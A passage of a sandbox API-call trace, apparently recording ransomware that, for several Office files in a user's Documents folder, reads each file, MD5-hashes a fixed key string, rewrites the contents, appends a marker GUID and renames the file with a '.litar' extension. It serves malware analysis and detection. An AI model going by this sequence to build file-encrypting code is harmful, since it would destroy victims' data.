out: hHeap=0x5c0000) returned 1 [0125.399] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.400] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x5b06, lpOverlapped=0x0) returned 1 [0125.400] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.400] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.400] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.400] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.400] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.401] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.401] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.401] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.401] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.401] GetLastError () returned 0x0 [0125.401] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.401] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x5b10) returned 0x30fa0b0 [0125.401] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.402] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x5b01, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x5b01, lpOverlapped=0x0) returned 1 [0125.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.402] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5b06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.402] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.402] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.402] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.402] CloseHandle (hObject=0x624) returned 1 [0125.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.403] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RAIpVw9N67HN.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\raipvw9n67hn.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RAIpVw9N67HN.pptx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\raipvw9n67hn.pptx.litar")) returned 1 [0125.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.404] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.404] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79b513b0, ftCreationTime.dwHighDateTime=0x1d4d41c, ftLastAccessTime.dwLowDateTime=0x834bc620, ftLastAccessTime.dwHighDateTime=0x1d4cf0e, ftLastWriteTime.dwLowDateTime=0x834bc620, ftLastWriteTime.dwHighDateTime=0x1d4cf0e, nFileSizeHigh=0x0, nFileSizeLow=0x183fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rUyI.pptx", cAlternateFileName="RUYI~1.PPT")) returned 1 [0125.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.405] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rUyI.pptx") returned=".pptx" [0125.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rUyI.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ruyi.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.405] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=99324) returned 1 [0125.405] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.407] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x183d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.407] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.409] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.409] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x183fc, lpOverlapped=0x0) returned 1 [0125.410] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.410] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.410] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.410] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.410] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.410] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.410] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.410] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.411] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.411] GetLastError () returned 0x0 [0125.411] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.411] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.411] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18400) returned 0x30fa0b0 [0125.411] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.411] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.411] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x183f7, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x183f7, lpOverlapped=0x0) returned 1 [0125.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.412] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x183fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.412] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.412] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.412] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.412] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.412] CloseHandle (hObject=0x624) returned 1 [0125.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.413] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.413] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.413] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rUyI.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ruyi.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rUyI.pptx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ruyi.pptx.litar")) returned 1 [0125.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.414] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.415] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe839a660, ftCreationTime.dwHighDateTime=0x1d4f04c, ftLastAccessTime.dwLowDateTime=0xe6a12a80, ftLastAccessTime.dwHighDateTime=0x1d4bf14, ftLastWriteTime.dwLowDateTime=0xe6a12a80, ftLastWriteTime.dwHighDateTime=0x1d4bf14, nFileSizeHigh=0x0, nFileSizeLow=0xcece, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TFi_rpFOJSO_vICGfl.docx", cAlternateFileName="TFI_RP~1.DOC")) returned 1 [0125.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.415] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TFi_rpFOJSO_vICGfl.docx") returned=".docx" [0125.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TFi_rpFOJSO_vICGfl.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tfi_rpfojso_vicgfl.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.415] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=52942) returned 1 [0125.415] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.417] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xcea8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.417] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.419] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.419] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xcece, lpOverlapped=0x0) returned 1 [0125.419] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.419] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.419] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.419] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.420] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.420] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.420] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.420] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.420] GetLastError () returned 0x0 [0125.420] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.421] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xced0) returned 0x30fa0b0 [0125.421] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.421] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xcec9, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xcec9, lpOverlapped=0x0) returned 1 [0125.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.421] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xcece, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.421] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.421] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.422] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.422] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.422] CloseHandle (hObject=0x624) returned 1 [0125.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.423] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TFi_rpFOJSO_vICGfl.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tfi_rpfojso_vicgfl.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TFi_rpFOJSO_vICGfl.docx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tfi_rpfojso_vicgfl.docx.litar")) returned 1 [0125.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.423] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.424] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3aa34d0, ftCreationTime.dwHighDateTime=0x1d4e84b, ftLastAccessTime.dwLowDateTime=0x6a00bde0, ftLastAccessTime.dwHighDateTime=0x1d50525, ftLastWriteTime.dwLowDateTime=0x6a00bde0, ftLastWriteTime.dwHighDateTime=0x1d50525, nFileSizeHigh=0x0, nFileSizeLow=0xd675, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tGcOKsKW8vY3r.pptx", cAlternateFileName="TGCOKS~1.PPT")) returned 1 [0125.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3075488 [0125.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075488 | out: hHeap=0x5c0000) returned 1 [0125.424] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tGcOKsKW8vY3r.pptx") returned=".pptx" [0125.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tGcOKsKW8vY3r.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tgcokskw8vy3r.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.424] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=54901) returned 1 [0125.424] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.426] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd64f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.426] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.430] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.430] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.430] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xd675, lpOverlapped=0x0) returned 1 [0125.431] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.431] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.431] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.431] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.431] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.432] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.432] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.432] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.432] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.432] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.432] GetLastError () returned 0x0 [0125.432] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.432] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.432] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.432] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd680) returned 0x30fa0b0 [0125.433] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: 